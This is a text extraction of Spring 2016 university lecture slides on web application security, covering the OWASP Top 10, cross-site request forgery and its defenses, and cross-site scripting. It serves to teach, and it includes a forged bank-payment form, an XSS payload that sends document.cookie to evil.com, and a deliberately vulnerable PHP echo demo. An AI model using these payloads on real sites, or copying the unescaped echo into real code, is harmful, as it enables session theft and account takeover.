web security web application security spring 2016
play

Web Security: Web Application Security Spring 2016 Franziska - PowerPoint PPT Presentation

CSE 484 / CSE M 584: Computer Security and Privacy Web Security: Web Application Security Spring 2016 Franziska (Franzi) Roesner franzi@cs.washington.edu Thanks to Dan Boneh, Dieter Gollmann, Dan Halperin, Yoshi Kohno, John Manferdelli, John


  1. CSE 484 / CSE M 584: Computer Security and Privacy Web Security: Web Application Security Spring 2016 Franziska (Franzi) Roesner franzi@cs.washington.edu Thanks to Dan Boneh, Dieter Gollmann, Dan Halperin, Yoshi Kohno, John Manferdelli, John Mitchell, Vitaly Shmatikov, Bennet Yee, and many others for sample slides and materials ...

  2. Web Applications • Big trend: software as a Web-based service – Online banking, shopping, government, bill payment, tax prep, customer relationship management, etc. – Cloud computing • Applications hosted on Web servers – Written in a mixture of PHP, Ruby, Java, Perl, ASP • Security is rarely the main concern – Poorly written scripts with inadequate input validation – Sensitive data stored in world-readable files 5/3/16 CSE 484 / CSE M 584 - Spring 2016 2

  3. Dynamic Web Application GET / HTTP/1.1 Browser Web server HTTP/1.1 200 OK index.php Database server 5/3/16 CSE 484 / CSE M 584 - Spring 2016 3

  4. http://www.owasp.org OWASP Top 10 Web Vulnerabilities 1. Injection 2. Broken Authentication & Session Management 3. Cross-Site Scripting 4. Insecure Direct Object References 5. Security Misconfiguration 6. Sensitive Data Exposure 7. Missing Function Level Access Control 8. Cross-Site Request Forgery 9. Using Known Vulnerable Components 10. Unvalidated Redirects and Forwards 5/3/16 CSE 484 / CSE M 584 - Spring 2016 4

  5. Cross-Site Request Forgery (CSRF/XSRF) 5/3/16 CSE 484 / CSE M 584 - Spring 2016 5

  6. Cookie-Based Authentication Redux Browser Server POST/login.cgi r o t a c t i n e h t u a : e i k o o c - t e S GET… Cookie: authenticator e s n o p s e r 5/3/16 CSE 484 / CSE M 584 - Spring 2016 6

  7. Browser Sandbox Redux • Based on the same origin policy (SOP) • Active content (scripts) can send anywhere! – For example, can submit a POST request – Some ports inaccessible -- e.g., SMTP (email) • Can only read response from the same origin – … but you can do a lot with just sending! 5/3/16 CSE 484 / CSE M 584 - Spring 2016 7

  8. Cross-Site Request Forgery • Users logs into bank.com, forgets to sign off – Session cookie remains in browser state • User then visits a malicious website containing <form name=BillPayForm action=http://bank.com/BillPay.php> <input name=recipient value=badguy> … <script> document.BillPayForm.submit(); </script> • Browser sends cookie, payment request fulfilled! • Lesson: cookie authentication is not sufficient when side effects can happen 5/3/16 CSE 484 / CSE M 584 - Spring 2016 8

  9. Cookies in Forged Requests Cookie: SessionID=523FA4cd2E User credentials automatically sent by browser 5/3/16 CSE 484 / CSE M 584 - Spring 2016 9

  10. Sending a Cross-Domain POST <form <form method="POST" method="POST" action=http:// action=http://othersite.com othersite.com/action /action > ... ... </form> </form> submit post <script>document.forms <script> document.forms[0].submit()</script> [0].submit()</script> • Hidden iframe can do this in the background • User visits a malicious page, browser submits form on behalf of the user – Hijack any ongoing session (if no protection) • Netflix: change account settings, Gmail: steal contacts, Amazon: one-click purchase – Reprogram the user’s home router – Many other attacks possible 5/3/16 CSE 484 / CSE M 584 - Spring 2016 10

  11. XSRF (aka CSRF): Summary Server victim n o i s s e s h s i l b a t s e 1 send forged request 4 2 visit server 3 User victim receive malicious page Attack server Q: how long do you stay logged on to Gmail? Financial sites? 5/3/16 CSE 484 / CSE M 584 - Spring 2016 11

  12. XSRF True Story [Alex Stamos] CyberVillians.com Internet Exploder GET news.html www.cybervillians.com/news.html HTML and JS B er nank e R eally an A lien? script HTML Form POSTs StockBroker.com Hidden iframes submitted forms that… • Changed user’s email notification settings • Linked a new checking account • Transferred out $5,000 ticker.stockbroker.com • Unlinked the account Java • Restored email notifications 5/3/16 CSE 484 / CSE M 584 - Spring 2016 12

  13. Broader View of XSRF • Abuse of cross-site data export – SOP does not control data export – Malicious webpage can initiates requests from the user’s browser to an honest server – Server thinks requests are part of the established session between the browser and the server (automatically sends cookies) 5/3/16 CSE 484 / CSE M 584 - Spring 2016 13

  14. Login XSRF: Attacker logs you in as them! User logged in as attacker Attacker’s account reflects user’s behavior 5/3/16 CSE 484 / CSE M 584 - Spring 2016 14

  15. XSRF Defenses • Secret validation token <input type=hidden value=23a3af01b> • Referer validation Referer: http://www.facebook.com/home.php 5/3/16 CSE 484 / CSE M 584 - Spring 2016 15

  16. Add Secret Token to Forms <input type=hidden value=23a3af01b> • “Synchronizer Token Pattern” • Include a secret challenge token as a hidden input in forms – Token often based on user’s session ID – Server must verify correctness of token before executing sensitive operations • Why does this work? – Same-origin policy: attacker can’t read token out of legitimate forms loaded in user’s browser, so can’t create fake forms with correct token 5/3/16 CSE 484 / CSE M 584 - Spring 2016 16

  17. Referer Validation ü Referer: http://www.facebook.com/home.php û Referer: http://www.evil.com/attack.html ? Referer: • Lenient referer checking – header is optional • Strict referer checking – header is required 5/3/16 CSE 484 / CSE M 584 - Spring 2016 17

  18. Why Not Always Strict Checking? • Why might the referer header be suppressed? – Stripped by the organization’s network filter • For example, http://intranet.corp.apple.com/projects/iphone/ competitors.html – Stripped by the local machine – Stripped by the browser for HTTPS → HTTP transitions – User preference in browser – Buggy browser • Web applications can’t afford to block these users • Referer rarely suppressed over HTTPS – Logins typically use HTTPS – helps against login XSRF! 5/3/16 CSE 484 / CSE M 584 - Spring 2016 18

  19. Cross-Site Scripting (XSS) 5/3/16 CSE 484 / CSE M 584 - Spring 2016 19

  20. PHP: Hypertext Processor • Server scripting language with C-like syntax • Can intermingle static HTML and code <input value=<?php echo $myvalue; ?>> • Can embed variables in double-quote strings $user = “ world ” ; echo “ Hello $user! ” ; or $user = “ world ” ; echo “ Hello ” . $user . “ ! ” ; • Form data in global arrays $_GET, $_POST, … 5/3/16 CSE 484 / CSE M 584 - Spring 2016 20

  21. Echoing / “Reflecting” User Input Classic mistake in server-side applications http://naive.com/search.php?term= “ Justin Bieber ” search.php responds with <html> <html> <title>Search <title>Search results</title> results</title> <body>You <body>You have have searched searched for for <? <?php php echo echo $_GET[term] $_GET[term] ?> ?>… … </body> </body> Or GET/ hello.cgi?name=Bob hello.cgi responds with <html>Welcome, <html>Welcome, dear dear Bob</html> Bob</html> 5/3/16 CSE 484 / CSE M 584 - Spring 2016 21

  22. Echoing / “Reflecting” User Input naive.com/hello.cgi?name= <img src=‘ naive.com/hello.cgi? http://upload.wikimedia.org/wikipedia/en/thumb/3/39/ name= Bob � YoshiMarioParty9.png/210px-YoshiMarioParty9.png’> � Welcome, dear Bob Welcome, dear 5/3/16 CSE 484 / CSE M 584 - Spring 2016 22

  23. Cross-Site Scripting (XSS) naive.com evil.com hello.cgi Access some web page <iframe src= http://naive.com/hello.cgi? GET/ hello.cgi?name= name=<script>win.open( <script>win.open( “ http:// “ http://evil.com/steal.cgi? evil.com/steal.cgi?cookie= ” + hello.cgi cookie= ” +document.cookie) document.cookie)</script> executed </script>> <HTML>Hello, dear <script>win.open( “ http:// Forces victim’s browser to evil.com/steal.cgi?cookie= ” call hello.cgi on naive.com +document.cookie)</script> with this script as “ name ” Welcome!</HTML> GET/ steal.cgi?cookie= Interpreted as JavaScript by victim’s browser; opens window and calls steal.cgi on evil.com victim’s browser 5/3/16 CSE 484 / CSE M 584 - Spring 2016 23

  24. XSS – Quick Demo <?php Need to explicitly disable setcookie("SECRET_COOKIE", "12345"); XSS protection – newer header("X-XSS-Protection: 0"); browsers try to help web developers avoid these ?> vulnerabilities! <html><body><br><br> <form action="vulnerable.php" method="get"> Name: <input type="text" name="name" size="80"> <input type="submit" value="submit”></form> <br><br><br> <div id="greeting"> <?php $name = $_GET["name"]; if($name) { echo "Welcome " . $_GET['name'];} ?> </div></body></html> 5/3/16 CSE 484 / CSE M 584 - Spring 2016 24

Download Presentation
Download Policy: The content available on the website is offered to you 'AS IS' for your personal information and use only. It cannot be commercialized, licensed, or distributed on other websites without prior consent from the author. To download a presentation, simply click this link. If you encounter any difficulties during the download process, it's possible that the publisher has removed the file from their server.

Recommend


More recommend